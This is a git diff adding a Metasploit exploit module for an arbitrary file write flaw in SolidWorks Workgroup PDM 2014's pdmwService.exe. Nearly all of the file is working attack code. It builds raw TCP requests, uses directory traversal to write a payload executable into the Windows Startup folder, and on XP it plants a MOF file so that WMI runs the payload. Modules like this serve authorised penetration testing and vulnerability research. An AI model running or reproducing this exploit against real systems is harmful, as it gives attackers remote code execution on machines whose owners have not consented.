diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb new file mode 100644 index 0000000000..25ed303ca5 --- /dev/null +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write', + 'Description' => %q{ + This module exploits a remote arbitrary file write vulnerability in + SolidWorks Workgroup PDM 2014 SP2 and prior. + + For targets running Windows Vista or newer the payload is written to the + startup folder for all users and executed upon next user logon. + + For targets before Windows Vista code execution can be achieved by first + uploading the payload as an exe file, and then upload another mof file, + which schedules WMI to execute the uploaded payload. + + This module has been tested successfully on SolidWorks Workgroup PDM + 2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mohamed Shetta ', # Initial discovery and PoC + 'Brendan Coles ', # Metasploit + ], + 'References' => + [ + ['EDB', '31831'], + ['OSVDB', '103671'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested on: + # - SolidWorks Workgroup PDM 2011 SP0 (Windows XP SP3 - EN) + # - SolidWorks Workgroup PDM 2011 SP0 (Windows 7 SP1 - EN) + ['Automatic', { 'auto' => true } ], # both + ['SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)', {}], + ['SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)', {}], + ], + 'Privileged' => true, + 'DisclosureDate' => 'Feb 22 2014', + 'DefaultTarget' => 0)) + + register_options([ + OptInt.new('DEPTH', [true, 'Traversal depth', 10]), + Opt::RPORT(30000) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + # + # Check + # + def check + # op code + req = "\xD0\x07\x00\x00" + # filename length + req << "\x00\x00\x00\x00" + # data length + req << "\x00\x00\x00\x00" + connect + sock.put req + res = sock.get_once + disconnect + if !res + vprint_error "#{peer} - Connection failed." + Exploit::CheckCode::Unknown + elsif res == "\x00\x00\x00\x00" + vprint_status "#{peer} - Received reply (#{res.length} bytes)" + Exploit::CheckCode::Detected + else + vprint_warning "#{peer} - Unexpected reply (#{res.length} bytes)" + Exploit::CheckCode::Safe + end + end + + # + # Send a file + # + def upload(fname, data) + # every character in the filename must be followed by 0x00 + fname = fname.scan(/./).join("\x00") + "\x00" + # op code + req = "\xD0\x07\x00\x00" + # filename length + req << "#{[fname.length].pack('l')}" + # file name + req << "#{fname}" + # data length + req << "#{[data.length].pack('l')}" + # data + req << "#{data}" + connect + sock.put req + res = sock.get_once + disconnect + if !res + fail_with(Failure::Unknown, "#{peer} - Connection failed.") + elsif res == "\x00\x00\x00\x00" + print_status "#{peer} - Received reply (#{res.length} bytes)" + else + print_warning "#{peer} - Unexpected reply (#{res.length} bytes)" + end + end + + # + # Exploit + # + def exploit + depth = '..\\' * datastore['DEPTH'] + exe = generate_payload_exe + exe_name = "#{rand_text_alpha(rand(10) + 5)}.exe" + if target.name =~ /Automatic/ or target.name =~ /Vista/ + print_status("#{peer} - Writing EXE to startup for all users (#{exe.length} bytes)") + upload("#{depth}\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{exe_name}", exe) + end + if target.name =~ /Automatic/ or target.name =~ /XP/ + print_status("#{peer} - Sending EXE (#{exe.length} bytes)") + upload("#{depth}\\WINDOWS\\system32\\#{exe_name}", exe) + mof_name = "#{rand_text_alpha(rand(10) + 5)}.mof" + mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name)) + print_status("#{peer} - Sending MOF (#{mof.length} bytes)") + upload("#{depth}\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) + register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}") + end + register_file_for_cleanup("#{::File.basename(exe_name)}") + end +end